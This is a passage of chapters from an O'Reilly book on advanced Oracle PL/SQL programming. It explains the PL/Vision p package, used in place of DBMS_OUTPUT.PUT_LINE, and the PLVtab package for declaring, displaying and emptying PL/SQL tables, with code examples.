The p package offers a powerful, flexible substitute for the DBMS_OUTPUT.PUT_LINE builtin package (see sidebar for a quick review of DBMS_OUTPUT). This is the l procedure. Generally, you will use the l procedure of the p package in place of DBMS_OUTPUT.PUT_LINE to display output from within a PL/SQL program. The p package improves your development productivity by minimizing keystrokes (as I described in Chapter 1, PL/SQL Packages, I grew to detest those 20 characters and sought out names for the package and procedure that would involve the smallest amount of typing possible), but its advantages go beyond this superficial benefit.

The builtin DBMS_OUTPUT.PUT_LINE procedure, particularly as it is supported within the SQL*Plus environment, has the following complications:

  • If you pass it a string that is longer than 255 bytes, the PL/SQL runtime engine raises the VALUE_ERROR exception.

  • If you try to display a NULL value, PUT_LINE simply ignores your request. Not even a blank line is displayed.

  • All leading blanks are trimmed from the string when displayed.[1]

    [1] In SQL*Plus 3.3, you can issue the command set serveroutput on format wrapped, and leading blanks are preserved and long lines are wrapped to the length specified in SQL*Plus. However, you still can't display more than 255 characters. [undocumented feature reported by Laurence Pit]

  • PUT_LINE's overloading is quite limited. It cannot display a Boolean value, nor can it handle combinations of data.

I created the p package to compensate for these deficiencies -- and then I put it to use. In fact, you will find only one package in PL/Vision in which DBMS_OUTPUT.PUT_LINE is called: the p package. I have been very careful to always use my own substitution program for this builtin, to make sure that the robust features of p.l are leveraged throughout the library.

The following sections of this chapter show you how to use p.l to display information. They also show you how to modify the behavior of p.l as follows:

  • Set the line prefix. This prefix allows you to preserve leading spaces.

  • Set the line separator. This character gives you a way to preserve white space (blank lines) in your source.

  • Control p.l output. The show override argument in the p.l procedure gives you some added flexibility over when p.l will actually show you something.

7.1 Using the l Procedure

The p.l procedure is a pleasure to use. When you call p.l instead of the DBMS_OUTPUT.PUT_LINE procedure, you will never have to worry about raising the VALUE_ERROR exception. You can display values of up to 32,767 bytes! You can pass many different kinds of data to the l procedure and it will figure out what to do and how to best display the information.

What, you worry? No, you let the package do the worrying for you. You get to concentrate on building your application.

You use p.l just as you would its builtin cousin, except that the p package offers a much wider overloading for different types and combinations of types of data. You pass it one or more values for display purposes. You can also use the final argument of the p.l procedure to control when output should be displayed (see Section 7.4, "Controlling Output from p").

Here are the headers for the version of p.l that display a number and a string-date combination, respectively.

PROCEDURE l (number_in IN NUMBER, show_in IN BOOLEAN := FALSE);

PROCEDURE l
   (char_in IN VARCHAR2, date_in IN DATE,
    mask_in IN VARCHAR2 := PLV.datemask,
    show_in IN BOOLEAN := FALSE);

To view the salary of an employee, you simply execute:

p.l (emp_rec.sal);

To view the employee name and hire date, you execute:

p.l (emp_rec.ename, emp_rec.hiredate)

and you will see this data in this format:

JONES: May 12, 1981 22:45:47

To get the same information using the default functionality of DBMS_OUTPUT, you would have to enter something as ugly and time-consuming as this:

DBMS_OUTPUT.PUT_LINE (emp_rec.ename || ': ' ||
   TO_CHAR (emp_rec.hiredate, 'FMMonth DD, YYYY HH:MI:SS'))

Which would you rather type? That should give you a good sense of the potential productivity gains available through p![2]

[2] Did you ever notice how old the data in the emp table is? Oracle Corporation should update that demonstration table to reflect corporate growth and increased salaries...but I guess they have to worry about backward compatibility of demonstration scripts!

7.1.1 Valid Data Combinations for p.l

Table 7.1 shows the different types of data that can be passed to the p.l procedure.

See the p package specification (or the table in Chapter 5, PL/Vision Package Specifications) for the headers of all the corresponding versions of the l procedure.

Table 7.1: Valid Data Combinations for p.l
Data Combinations | Resulting Value
VARCHAR2 | The string as supplied by the user.
DATE | The date converted to a string, using the specified date mask. The default date mask is provided by PLV.datemask -- a PL/Vision-wide setting.
NUMBER | The number converted to a string using the default format mask.
BOOLEAN | The string "TRUE" if the Boolean expression evaluates to TRUE, "FALSE" if FALSE, and the NULL substitution value if NULL.
VARCHAR2, DATE | The string concatenated to a colon, concatenated to the date (converted to a string as explained above).
VARCHAR2, NUMBER | The string concatenated to a colon, concatenated to the number (converted to a string as explained above).
VARCHAR2, BOOLEAN | The string concatenated to a colon, concatenated to the Boolean (converted to a string as explained above).

7.1.2 Displaying Dates

When you display a date using p.l, it uses the string returned by the PLV.datemask function as the format mask. The default value of the format mask is:

The DBMS_OUTPUT Package

The DBMS_OUTPUT package allows you to display information to your session's output device from within your PL/SQL program. As such, it serves as just about the only easily accessible means of debugging your PL/SQL Version 2 programs. DBMS_OUTPUT is also the package you will use to generate reports from PL/SQL scripts run in SQL*Plus.

Theoretically, you write information to the DBMS_OUTPUT buffer with calls to PUT_LINE and PUT and then extract that information for display with the GET_LINE program. In reality (in SQL*Plus, anyway), you simply call the PUT_LINE program from within your PL/SQL program and when your program finishes executing, all the text "put" to the buffer is displayed on your screen. The following SQL*Plus session gives you an idea of what you must type:

SQL> exec DBMS_OUTPUT.PUT_LINE ('this is great!');
this is great

The size of the DBMS_OUTPUT buffer can be set to a size between 2,000 bytes (the default) and 1,000,000 bytes with the ENABLE procedure. If you do not ENABLE the package, then no information will be displayed or will be retrievable from the buffer.

When using DBMS_OUTPUT in SQL*Plus, you can use the SET command to enable output from DBMS_OUTPUT and also set the size of the buffer. To enable output, you must issue this command:

SQL> set serveroutput on

To set the buffer size to a value other than 2,000, add the size clause as follows:

SQL> set serveroutput on size 1000000

I recommend that you put the SET SERVEROUTPUT command in your login.sql script so your session is automatically enabled for output. Remember, however, that every time you reconnect inside SQL*Plus, all of your package variables are reinitialized. So if you issue a CONNECT command in SQL*Plus, you will need to reenable DBMS_OUTPUT. The script ssoo.sql (on the disk) does this for you with a minimum of fuss. To enable output and set the buffer to its maximize size (1 megabyte), simply type:

SQL> @ssoo

See Chapter 15 of Oracle PL/SQL Programming, for more details on DBMS_OUTPUT.

'FMMonth DD, YYYY FMHH24:MI:SS'

If you would like to change the format used to display dates, you can either specify a new format when you call p.l or you can change the default mask maintained by the PLV package.

To specify a different format in the call to p.l, simply include the mask string after the date argument. Here, for example, is the header for the version of p.l that displays a date:

PROCEDURE l
   (date_in IN DATE,
    mask_in IN VARCHAR2 := PLV.datemask,
    show_in IN BOOLEAN := FALSE);

So to display the name of an employee and the month/year she was hired, I can use:

p.l (emp_rec.ename, emp_rec.hiredate, 'Month YYYY');

Alternatively, I can set the default format for any date displayed in PLV with this call:

PLV.set_datemask ('Month YYYY');

and then the call to p.l could be simplified to:

p.l (emp_rec.ename, emp_rec.hiredate);

Previous: 6.6 The Predefined Constants | Advanced Oracle PL/SQL Programming with Packages | Next: 7.2 The Line Separator
6.6 The Predefined Constants | Book Index | 7.2 The Line Separator
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.2 The Line Separator

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

7.2 The Line Separator

When you compile and store code in SQL*Plus, any blank lines in your source code are discarded. This annoying "undocumented feature" wreaks havoc at compile time. If there are any compile errors, the line number stored in USER_ERRORS and returned by SHOW ERRORS almost never matches the line number of the code in your operating system file. What an annoyance!

The situation gets even worse when you really want to preserve those blank lines for readability. The PLVhlp package, for example, provides an architecture for online help. Without blank lines in the help text, it would be very difficult to make this text understandable. It would be awfully nice to be able to preserve those blank lines -- or at least make a line appear to be blank when displayed.

The p package recognizes this need and allows you to specify a line separator character. If a line of text passed to p.l consists only of the line separator character, it is displayed as a blank line.

You set the line separator with the set_linesep procedure, whose header is:

PROCEDURE set_linesep (linesep_in IN VARCHAR2);

You can retrieve the current line separator character with the linesep function:

FUNCTION linesep RETURN VARCHAR2;

The default line separator character is =. As a result, if I execute the following anonymous block,

BEGIN
   p.l ('this');
   p.l ('=');
   p.l ('is');
   p.l ('=');
   p.l ('separated!');
END;
/

I see this output:

this

is

separated!

Previous: 7.1 Using the l Procedure | Advanced Oracle PL/SQL Programming with Packages | Next: 7.3 The Output Prefix
7.1 Using the l Procedure | Book Index | 7.3 The Output Prefix
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.3 The Output Prefix

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

7.3 The Output Prefix

PL/Vision works extensively with stored PL/SQL code -- which often has (and should have) lots of indentation to reveal the logical flow of the program. If I use the native, builtin PUT_LINE procedure to display this text, it comes out left-justified; all leading spaces are automatically trimmed by the DBMS_OUTPUT.PUT_LINE builtin. This is not a very useful way to display code.

The p package handles this situation by prefixing all text with a prefix string. As long as the prefix string is not composed entirely of spaces, the leading spaces in your own text will be preserved.

You can set and retrieve the value of the prefix string with these two programs:

PROCEDURE set_prefix (prefix_in IN VARCHAR2 := c_prefix);
FUNCTON prefix RETURN VARCHAR2;

The default prefix (stored in the package constant c_prefix) is CHR(8), which is the backspace character. This character, like many of the other nonprinting characters in the ASCII code table, displays as a black box in the Windows environment and functions well as a prefix.

You may wish to substitute a different value more appropriate to your operating system. To do this, simply call the set_prefix procedure as shown in the example below:

SQL> exec p.set_prefix ('*');
SQL> exec p.l (SYSDATE);
*May 12, 1996 22:36:55

If you call set_prefix, but do not pass a value, you will set the prefix back to its default.

Previous: 7.2 The Line Separator | Advanced Oracle PL/SQL Programming with Packages | Next: 7.4 Controlling Output from p
7.2 The Line Separator | Book Index | 7.4 Controlling Output from p
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.4 Controlling Output from p

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

7.4 Controlling Output from p

The p package offers more flexibility than does DBMS_OUTPUT in determining when output should, in fact, be displayed. With DBMS_OUTPUT, you face an all or nothing scenario. If output has been enabled, you see all information passed to PUT_LINE. If you have not (in SQL*Plus) executed the verbose SET SERVEROUTPUT ON command, nothing appears on the screen.

With p.l, you can match this functionality and then go a bit beyond it as well. The p package provides a toggle to determine whether calls to p.l should generate output. The programs that make up this toggle are:

PROCEDURE turn_on;
PROCEDURE turn_off;

If you call turn_off to disable output from p.l, nothing will be displayed -- unless you explicitly request that the information be shown. The last parameter of every overloading of the l procedure is the "show override". If you pass TRUE, the information will always be displayed (assuming that output from DBMS_OUTPUT has been enabled). The default value for the "show override" is FALSE, meaning "do not override."

In the following sequence of calls in SQL*Plus, I manipulate the status of output in the p package to demonstrate how the show override argument can be used.

SQL> exec p.turn_off
SQL> exec p.l (SYSDATE);
SQL> exec p.l (SYSDATE, show_in => TRUE);
*May 12, 1996 22:43:51
SQL> exec p.l (SYSDATE IS NOT NULL, show_in => TRUE);
*TRUE
SQL> exec p.turn_on
SQL> exec p.l(SYSDATE);
*May 12, 1996 22:45:47

The p package could, of course, offer much more flexibility even than this variation of all or nothing. Many developers have implemented variations on this package with numeric levels that provide a much finer granularity of choice over which statements will actually display output. Given the nearness of third-party (and Oracle-supplied) debuggers for PL/SQL, however, I exercised self-restraint and focused my efforts in the p package on ease of use and developer productivity.

Special Notes on p

Here are some factors to consider when working with the p package:

  • The prefix, line separator, and NULL substitution values can be up to 10 characters in length.

  • When you turn_on output from the p package, the DBMS_OUTPUT.ENABLE procedure is called with a maximum size buffer of 1 megabyte.

  • Any string that is longer than 80 characters in length will be displayed in a paragraph-wrapped format at a line length of 75 characters.

  • The p package will only send information to standard output. If you want to send text to a database table or PL/SQL table or other repository, you might consider using PLVlog or even PLVio if the text has to do with PL/SQL source code.

  • The biggest challenge in implementing the p package was to modularize the code inside the package body so that all those overloadings of the l procedure do not result in chaos. I needed to avoid redundant code so that I could easily add to the overloadings as the need arose and even add new functionality to the package's display options (such as paragraph-wrapping long text, a rather recent enhancement). I accomplished this by creating a private module, display_line, which is called by each of the p.l procedures.

  • The current set of overloadings of p.l is really quite minimal. You might want to try your hand at enhancing PL/Vision yourself by increasing the variety of datatypes one can pass to the l procedure. What about two numbers or a number and a date? Give it a try!

Previous: 7.3 The Output Prefix | Advanced Oracle PL/SQL Programming with Packages | Next: 8. PLVtab: Easy Access to PL/SQL Tables
7.3 The Output Prefix | Book Index | 8. PLVtab: Easy Access to PL/SQL Tables
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] PLVtab: Easy Access to PL/SQL Tables

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 7.4 Controlling Output from p Chapter 8 Next: 8.2 Displaying PLVtab Tables

8. PLVtab: Easy Access to PL/SQL Tables

Contents:
Using PLVtab-Based PL/SQL Table Types
Displaying PLVtab Tables
Showing Header Toggle
Showing Row Number Toggle
Setting the Display Prefix
Emptying Tables with PLVtab
Implementing PLVtab.display

The PLVtab (PL/Vision TABle) package offers predefined PL/SQL table types and programs to make it easier to declare, use, and display the contents of PL/SQL tables. PL/SQL tables are the closest things to arrays in PL/SQL, but there are a number of complications. First, to use a PL/SQL table, you first have to declare a table type. Then you can declare and use the PL/SQL table itself. Beyond the definition of the PL/SQL table, the fact that it is a sparse, unbounded, homogeneous data structure can lead to complications, particularly when it comes to scanning and displaying those structures (see Chapter 10 of Oracle PL/SQL Programming).

By using PLVtab, you can avoid (in most cases) having to define your own PL/SQL table types. You can also take advantage of flexible, powerful display procedures to view table contents.

When you display the contents of PL/SQL tables, PLVtab allows you to:

  • Show or suppress a header for the table

  • Show or suppress the row numbers for the table values

  • Display a prefix before each row of the table

This chapter shows how to use the different aspects of PLVtab.

8.1 Using PLVtab-Based PL/SQL Table Types

When you use PL/SQL tables, you normally perform a number of common actions, including defining the table type, declaring the table, filling up the rows, referencing the rows, and emptying the table when done. When using a PLVtab-based table, you do not have to declare the table type. Instead you simply reference the package-based type in your declaration. PLVtab predefines the following PL/SQL table TYPEs, shown in Table 8.1:

Table 8.1: Table Types Predefined in PLVtab

Type

Description

boolean_table

PL/SQL table of Booleans

date_table

PL/SQL table of dates

integer_table

PL/SQL table of integers

number_table

PL/SQL table of numbers

vc30_table

PL/SQL table of VARCHAR2(30) strings

vc60_table

PL/SQL table of VARCHAR2(60) strings

vc80_table

PL/SQL table of VARCHAR2(80) strings

vc2000_table

PL/SQL table of VARCHAR2(2000) strings

ident_table

PL/SQL table of VARCHAR2(100) strings; matches PLV.plsql_identifier declaration.

vcmax_table

PL/SQL table of VARCHAR2(32767) strings

Let's compare the "native" and PL/Vision approaches to defining PL/SQL tables. In the following anonymous block, I define a PL/SQL table of Booleans without the assistance of PLVtab.

DECLARE
   TYPE bool_tabtype IS TABLE OF BOOLEAN
      INDEX BY BINARY_INTEGER;
   yesno_tab bool_tabtype;
BEGIN

With the PLVtab package in place, all I have to is the following:

DECLARE
   yesno_tab PLVtab.boolean_table;
BEGIN

Once you have declared a table using PLVtab, you manipulate that table as you would a table based on your own table TYPE statement.

Previous: 7.4 Controlling Output from p | Advanced Oracle PL/SQL Programming with Packages | Next: 8.2 Displaying PLVtab Tables
7.4 Controlling Output from p | Book Index | 8.2 Displaying PLVtab Tables
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.2 Displaying PLVtab Tables

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

8.2 Displaying PLVtab Tables

For each type of table, PLVtab provides a display procedure to show the contents of the table. As a result, there are nine, overloaded versions of the display procedure. The headers for each of these programs are the same, except for the datatype of the first parameter (the kind of table to be displayed).

Here, for example, is the specification of the procedure to display a date table:

   PROCEDURE display
    (tab_in IN date_table,
     end_in IN INTEGER,
     hdr_in IN VARCHAR2 := NULL,
     start_in IN INTEGER := 1,
     failure_threshold_in IN INTEGER := 0,
     increment_in IN INTEGER := +1);

As you can see, there are lots of parameters, and that means lots of flexibility in specifying what rows are displayed and the format of the display. Here is an explanation of the various arguments:

Argument | Description
tab_in | The PL/SQL table you want to display. The table type must be one of those predefined in PLVtab.
end_in | The last row you want displayed. This is required. Until PL/SQL Release 2.3 there is no way for PLVtab to know the total number of rows defined in the table. As you will see below, you can also specify the starting row, which defaults to 1.
hdr_in | The header you want displayed before the individual rows are written out using the p.l procedure.
start_in | The first row you want displayed. The default value is 1. This is placed after the end_in argument because in almost every case it will not need to be specified.
failure_threshold_in | The number of times the display program can reference an undefined row in the table before it stops trying any more. Remember: PL/SQL tables are sparse. Consecutive rows do not need to be defined, but the display program does need to move sequentially through the table to display its rows.
increment_in | The increment used to move from the current row to the next row. The default value is 1, but you could ask display to show every fifth row by passing a value of 5.

The following examples illustrate how the different arguments are used.

8.2.1 Displaying Wrapped Text

The display_wrap program of the PLVprs package takes advantage of the PLVtab package in several ways. It declares and uses a VARCHAR2(2000) table to receive the output from the wrap procedure, which wraps a long string into multiple lines, each line of which is stored in a row in the PL/SQL table. This table is then displayed with a call to the display procedure. Notice that display_wrap also turns off the PLVtab header and sets the prefix before performing the display. These toggles for PLVtab are discussed in the next section.

PROCEDURE display_wrap
  (text_in IN VARCHAR2,
   line_length IN INTEGER := 80,
   prefix_in IN VARCHAR2 := NULL)
IS
  lines PLVtab.vc2000_table;
  line_count INTEGER := 0;
BEGIN
  PLVtab.noshow_header;
  PLVtab.set_prefix (prefix_in);
  wrap (text_in, line_length, lines, line_count);
  PLVtab.display (lines, line_count);
END;

Notice that in this call to display I employ most of the defaults: a NULL header, a starting row of 1, a failure threshold of 0 (all rows should be defined), and an increment of 1. I do not want a header since I am essentially using display as a utility within another program.

8.2.2 Displaying Selected Companies

Suppose that I have populated a PL/SQL table with company names, where the row number is the primary key or company ID. I am, therefore, not filling the PL/SQL table sequentially. By keeping track of the lowest and highest row used in the table, however, I can still display all the defined rows in the PL/SQL table as shown below.

First, the package containing the data structures associated with the list of company names:

PACKAGE comp_names
IS
   /* The table of names. */
   list PLVtab.vc80_table;
   /* The lowest row number used. */
   lo_row BINARY_INTEGER := NULL;
   /* The highest row number used. */
   hi_row BINARY_INTEGER := NULL;
END comp_names;

Then various programs have been called to fill up the PL/SQL table with any number of company names. The following call to display will show all defined rows regardless of how many there are, and how many undefined rows lie between company names.

PLVtab.display
  (comp_names.list,
   comp_names.hi_row,
   'Selected Company Names',
   comp_names.lo_row,
   comp_names.hi_row - comp_names.lo_row);

Let's look at a concrete example. Row 1506 is assigned the value of ACME, while row 20200 contains the company name ArtForms. I can then make the above call to PLVtab.display and get the following results displayed on the screen:

Selected Company Names
ACME
ArtForms

You will probably be surprised to hear that it took more than 83 seconds on my Pentium 90Mhz laptop to produce these results. Why so long a delay? The display procedure displayed row 1506 and then attempted unsuccessfully 18,693 times to retrieve the rows between 1506 and 20200. Each time display referenced an undefined row, the PL/SQL runtime engine raised the NO_DATA_FOUND exception, which was ignored.

The conclusion you should draw from this example is that PLVtab.display does a great job of hiding these kinds of details, but it is still important for you to understand the architecture of PL/SQL tables. This understanding will help you explain what would otherwise be an absurdly slow response time -- and also help you decide when to take advantage of the PLVtab.display procedure. If your defined rows are dispersed widely, PLVtab.display may not be efficient enough a method to display the contents of your table.

Previous: 8.1 Using PLVtab-Based PL/SQL Table Types | Advanced Oracle PL/SQL Programming with Packages | Next: 8.3 Showing Header Toggle
8.1 Using PLVtab-Based PL/SQL Table Types | Book Index | 8.3 Showing Header Toggle
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.3 Showing Header Toggle

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

8.3 Showing Header Toggle

The PLVtab package is designed to be a generic, low-level utility for working with PL/SQL tables. As such, it needs to be as flexible as possible when it comes to displaying the contents of these tables. I found that I wanted to use PLVtab.display both to:

  1. Dump the contents of a table for debugging and verification purposes; and

  2. Display table contents from within other PL/Vision utilities and packages.

In the first use of PLVtab.display, I could rely on the default header for the table, which is simply:

Contents of Table

since I just wanted to see the results. When I am using PLVtab from within another environment or utility, I need to be able to carefully control the format of the output. In some cases I will want to provide an alternative header, which is done through the parameter list of the display procedure. In other situations, I may want to avoid a header altogether.

The "show header" toggle offers this level of flexibility. The default/initial setting for PLVtab is to display a header with the table. You can turn off the toggle by executing the "no show" procedure as follows:

SQL> exec PLVtab.noshowhdr

In this mode, even if you provide an explicit header in your call to display, that information will be ignored. Only the row information will be displayed.

Previous: 8.2 Displaying PLVtab Tables | Advanced Oracle PL/SQL Programming with Packages | Next: 8.4 Showing Row Number Toggle
8.2 Displaying PLVtab Tables | Book Index | 8.4 Showing Row Number Toggle
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.4 Showing Row Number Toggle

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

8.4 Showing Row Number Toggle

The "show row" toggle allows you to specify whether or not you want the row numbers to be displayed along with the contents of the row. The default value for this setting is no row numbers. Turn on the display of row numbers as follows:

SQL> exec PLVtab.showrow

and then when you display the contents of a table, you will see Row N = prefixed to each row value as shown in this output from PLVtab.display:

Row 1505 = ACME
Row 20200 = ArtForms

Previous: 8.3 Showing Header Toggle | Advanced Oracle PL/SQL Programming with Packages | Next: 8.5 Setting the Display Prefix
8.3 Showing Header Toggle | Book Index | 8.5 Setting the Display Prefix
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.5 Setting the Display Prefix

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

8.5 Setting the Display Prefix

The PLVtab set_prefix procedure allows you to specify a prefix that is to be displayed before the row values. This prefix is only displayed when you are not showing the row numbers. The default value for the prefix is NULL, which means that you don't see any prefix unless you call the set_prefix program. The header for this procedure is:

PROCEDURE set_prefix (prefix_in IN VARCHAR2 := NULL)

Since the single argument has a default value of NULL, you can set the prefix back to its default value simply by entering this command:

SQL> PVLtab.set_prefix;

The following script shows you how the prefix is set and used in the display of PLVtab table information.

DECLARE
   nms PLVtab.vc80_table;
   lo INTEGER;
   hi INTEGER;
BEGIN
   PLVtab.noshowrow;
   PLVtab.set_prefix ('Company Name = ');
   nms (1505) := 'ACME';
   nms (20200) := 'ArtForms';
   lo := 1505;
   hi := 20200;
   PLVtab.display (nms, hi, 'Selected Company Names', lo, hi-lo);
END;
/
Selected Company Names
Company Name = ACME
Company Name = ArtForms

Previous: 8.4 Showing Row Number Toggle | Advanced Oracle PL/SQL Programming with Packages | Next: 8.6 Emptying Tables with PLVtab
8.4 Showing Row Number Toggle | Book Index | 8.6 Emptying Tables with PLVtab
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.6 Emptying Tables with PLVtab

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

8.6 Emptying Tables with PLVtab

For PL/SQL Releases 2.2 and earlier, the only way to delete all rows from a PL/SQL table (and release all associated memory) is to assign an empty table of the same TYPE to your structure. PLVtab offers the following set of empty tables to facilitate this process for PLVtab-based tables:

empty_boolean boolean_table;
empty_date date_table;
empty_integer integer_table;
empty_number number_table;

empty_vc30 vc30_table;
empty_vc60 vc60_table;
empty_vc80 vc80_table;
empty_vc2000 vc2000_table;
empty_vcmax vcmax_table;
empty_ident ident_table;

It is very easy to use these empty tables (of course, they are only empty if you do not define rows in those PL/SQL tables!). The following example shows a package body that has defined within it a PL/SQL table. This table is then modified and emptied by the program units defined in that same package body.

PACKAGE BODY paid_subs
IS
   listcount INTEGER := 0;
   namelist PLVtab.vc80_table;

   PROCEDURE addsub (name_in IN VARCHAR2) IS
   BEGIN
      namelist (listcount + 1) := name_in;
      listcount := listcount + 1;
   END;

   PROCEDURE clearlist IS
   BEGIN
      namelist := PLVtab.empty_vc80;
   END;
END paid_subs;

If you have PL/SQL Release 2.3, you don't have to bother with these empty tables. Instead, you can use the PL/SQL table DELETE attribute to remove the rows from the table. The following examples illustrate the power and flexibility of this syntax:

namelist.DELETE; -- Delete all rows.
namelist.DELETE (5); -- Delete row 5.
namelist.DELETE (5, 677); -- Delete all rows between 5 and 677.

This is obviously a much more desirable technique -- and it highlights a drawback to the PLVtab approach to emptying tables.

8.6.1 Improving the Delete Process

As explained above, to delete all the rows from a (PL/SQL Release 2.2 and earlier) PLVtab table, you would assign an empty table to that table. The problem with this approach is that it exposes the implementation of the delete process. You have to know about the empty table and also the aggregate assignment syntax. Worse, when you do upgrade to PL/SQL Release 2.3 or above, you have to go to each of these assignments and change the code in order to take advantage of the new attribute.

A much better approach would be for PLVtab to provide not the empty tables themselves, but procedures that do the emptying for you. Such a program is very simple and is shown below:

PROCEDURE empty (table_out OUT date_table) IS
BEGIN
   table_out := empty_date;
END;

This procedure would, of course, have to be overloaded for each table TYPE. Notice that this program uses the empty table just as you would, but that detail is hidden from view. There are two advantages to this approach:

  • Now when I want to empty a table, I simply call the program as shown below:

    PLVtab.empty (my_table);

    I don't have to know about the empty tables and their naming conventions. I leave that to the package.

  • When my installation upgrades to PL/SQL Release 2.3, I can take immediate advantage of the DELETE operator without changing those parts of my application that empty my tables. Instead, I can simply change the implementation of the empty procedure itself. I can implement a procedure with equivalent functionality as follows:

PROCEDURE empty (table_out OUT date_table) IS
BEGIN
   table_out.DELETE;
END;

Yet I could also enhance the empty procedures of PLVtab to take full advantage of the flexibility offered by the DELETE attribute:

PROCEDURE empty
  (table_out OUT date_table,
   start_in IN INTEGER := NULL,
   end_in IN INTEGER := NULL)
IS
BEGIN
   table_out.DELETE
      (NVL (start_in, table_out.FIRST),
       NVL (end_in, table_out.LAST));
END;

Through careful assignment of default values for the arguments of this new implementation, all previous uses of the empty procedure would still be valid. Future uses could take advantage of the new arguments.[1]

[1] Why isn't this technique used in PLVtab? Well, at some point, I had to stop changing my code and instead write a book about it. You are, at least, now aware of the issue and can implement this approach yourself.

Special Notes on PLVtab

The PLVtab package supports only the table types listed in Table 8-1. You can add additional table types easily, but be sure to make each of these changes:

  • Add the table TYPE statement for the desired datatype.

  • Declare an "empty" table of that same table type.

  • Create another version of the display procedure that accepts this table type.

Previous: 8.5 Setting the Display Prefix | Advanced Oracle PL/SQL Programming with Packages | Next: 8.7 Implementing PLVtab.display
8.5 Setting the Display Prefix | Book Index | 8.7 Implementing PLVtab.display
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.7 Implementing PLVtab.display

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

8.7 Implementing PLVtab.display

I faced several challenges when building the display procedures:

  • I had to create a separate procedure for each of the different table types, but I did not want to actually have separate display engines for each table type; the code would be very cumbersome and lengthy. Yet consolidating this code would also be difficult since each display procedure drew its information from a different PL/SQL table.

  • With the implementation of PL/SQL tables prior to Release 2.3 of PL/SQL, it is impossible to obtain information about the state of a PL/SQL table from the runtime engine. Instead, you must keep track of the rows that have been used or be ready to handle the NO_DATA_FOUND exception.

I took care of the code redundancy problem by creating a single internal display procedure (idisplay) that is called by each of the public display procedures. Here is an example of the full body of the display procedure for date tables:

   PROCEDURE display
      (tab_in IN date_table,
       end_in IN INTEGER,
       hdr_in IN VARCHAR2 := NULL,
       start_in IN INTEGER := 1,
       failure_threshold_in IN INTEGER := 0,
       increment_in IN INTEGER := +1)
   IS
   BEGIN
      idate := tab_in;
      idisplay
        (c_date, end_in, hdr_in, start_in,
         failure_threshold_in, increment_in);
      idate := empty_date;
   END;

